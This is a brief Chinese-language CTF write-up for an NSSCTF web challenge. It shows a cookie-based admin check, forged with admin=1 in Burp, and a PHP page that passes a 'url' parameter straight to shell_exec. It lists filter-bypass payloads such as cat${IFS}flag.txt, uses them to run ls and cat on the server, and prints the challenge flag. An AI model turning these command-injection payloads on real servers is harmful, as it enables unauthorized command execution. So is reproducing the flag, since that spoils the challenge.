0×01
打开题目环境,直接看重要代码
if($_COOKIE['admin']==1)
{
include "../next.php";
}
发现只有当COOKIE中admin的值等于1才可以执行下一步命令,跳出下一个文件。
0×02
打开题目环境,使用burp进行抓包,在抓包信息中,添加如下代码:
COOKIE:admin=1 Forward重放 在环境中发现新的PHP文件 rasalghul.php url/rasalghul.php进行访问
发现PHP代码 if (isset($_GET['url'])) { $ip=$_GET['url']; if(preg_match("/ /", $ip)){ die('nonono'); } $a = shell_exec($ip); echo $a; }
给了一个参数url,发现还需要进行空格绕过。
常用的绕过方法
cat flag.txt cat${IFS}flag.txt cat$IFS$9flag.txt cat<flag.txt cat<>flag.txt
使用url=ls${IFS}查看根目录下的文件
url/rasalghul.php/?url=ls${IFS}
发现可疑文件flllllaaaaaaggggggg,疑似flag
构造payload并进行空格绕过,读取flag
url/rasalghul.php/?url=cat${IFS}$1/flllllaaaaaaggggggg
回显flag NSSCTF{74e32ff7-033e-4262-887f-06968c36d204}